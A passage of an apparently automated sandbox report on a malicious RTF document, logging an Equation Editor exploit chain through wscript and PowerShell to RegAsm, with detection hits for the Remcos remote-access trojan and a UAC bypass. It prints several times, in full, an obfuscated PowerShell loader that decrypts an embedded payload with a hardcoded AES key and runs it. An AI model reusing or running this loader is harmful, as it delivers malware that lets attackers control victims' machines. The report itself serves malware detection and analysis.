'+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Memory allocated: 770B0000 page execute and read and write	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Memory allocated: 770B0000 page execute and read and write	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_002F5922	6_2_002F5922
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_002F9669	6_2_002F9669
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 6_2_002F798F	6_2_002F798F

Source: IFqsFpijFt.rtf, type: SAMPLE	Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: 6.2.powershell.exe.3c87e48.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 6.2.powershell.exe.3c87e48.0.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 6.2.powershell.exe.3c87e48.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 6.2.powershell.exe.3c87e48.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 6.2.powershell.exe.3c87e48.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 00000006.00000002.369992455.0000000003820000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 3208, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 3208, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.expl.evad.winRTF@9/13@0/2

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$qsFpijFt.rtf

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Mutant created: NULL

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR72BF.tmp

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creatednewwaterbottleform.vBS"

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................N...............................................T..........s............			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................\.......................................(...............................			Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: IFqsFpijFt.rtf

ReversingLabs: Detection: 48%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creatednewwaterbottleform.vBS"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\creatednewwaterbottleform.vBS"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI68766530954276373206247047974663CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIdSLZBgRjPNZ/qocg/lH2aZHZ5Jl+3cjSG1p/+zzQRClxM6ERqs615j4oDskIGVeU9U0hKzWE2qLRhN3w3oPnP9D3zRR0BjWDDOAHuyfLsijMtAivmVqnjEhi75GYn/731w2sw2LX9rePUu8MuzZBPukpDJjP40wnUy5RXUPJoZQj2IJHLLwPLeWAVLyYam2ryxj+aZ147db0X48wxpHj1wzIXORWhGABOaWwaSlaHL3gmVyt1aXV7FBFES5QqtebxGfvLhl4iUZNYV88W0LKeIoUGNbEQFkzf13DC0Iby1tFcGdBD33I0Q+W2Tvg+5qcSyDt39hGQc+cPQJW6i+zS5PdayxMRwfx6SHZXH4Wqvwv1PSLLBL05m+vUyyZdWHee1jJZK1IYpJ679FIiTnjUqbP5xka/o9mFQDN8rr6+t3w5UZ8/qZmHx1mVRoEQQE9sfqxRdM4XzLD6zM0xvTyXDiPtOrir9Y56WYwILgvowZC7rtlCr5vnoqSqCeZ+TBUh3I8J+drjXQv5Li4WPY7XJzFYZPaPMsWDQEjc1bMNXhVQ0Ukf2iM7FfM7k6Nze4qwdaBy3eAeQAbrjji8e0i57J7CMED36TsJyhF0u03e/7/3gWxHIosnVfstQl9YchNNE0mcQpHtSiF3PXt9EE9Ulz//7YH3sp7ZQKed24Zy6boPjqU9Ryt/0qHB2CgOA9dDgikPiavuiSSZwbmMVP3wzAzgXN3nBCy0PstnP16FjfPsLfXhDA3NS1dtwaJQ0liDeM77UG2Ki38eJ/rruKe9qgo+FuHe0xchT8/Wf5NVYoxrcASiFgam2A+WOxlafeNmbR8szgcpCGnpZl/NgN6OssaRDn26lO+fP2jr2C/5Yc3McAo0Ld51WdEwKzWP8b1W57wqS7gMMfAyZ4qaXwBt0DPwXCDT4lDwrWOtFJtHKkrSrB29mx+ZSiTGJd4zwLYP4xGKn+mDlT0rPmQDAZM0Hkrfyo5dxlRZHsLsW0XCN3EuXI+4932vGm0QSE+1K4quce5wQtHb1zoJKShclZ3BMUvCdOwmEdkxUQXKG7DtjDx8uVaNsAElTRbqENfoYu9eWmyI9LzKR9oZNPS+COhZr5JHq9hpvTMcsOldartIGHZY80SQMOSaGVIgdyoyJGpNwdUZLlDYe8NYQDaAJUhcq27lHvZkYQVajhD3kDVJQbOIf1lYyaY52Jn1dHnhXGk0nluzd0ilXEHvzPHLaVeocoCd50UQJ+q1KgXN7gS2k+ZoaXgaMSw9ouBoVyLc2V04RD098/AS2dEb2//QHWXG3F0c50KqYP4QoW398pQnbg4M4pJz0UIDlflEkkDinQrkxq/DRVpVBWz7wRUbde9F6yxo/vtkM0dGIR+Udwiy0EWC9HpU+MKlp45fqh0Pc7VyS3cHOu8E4FMallUVE4yfg==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
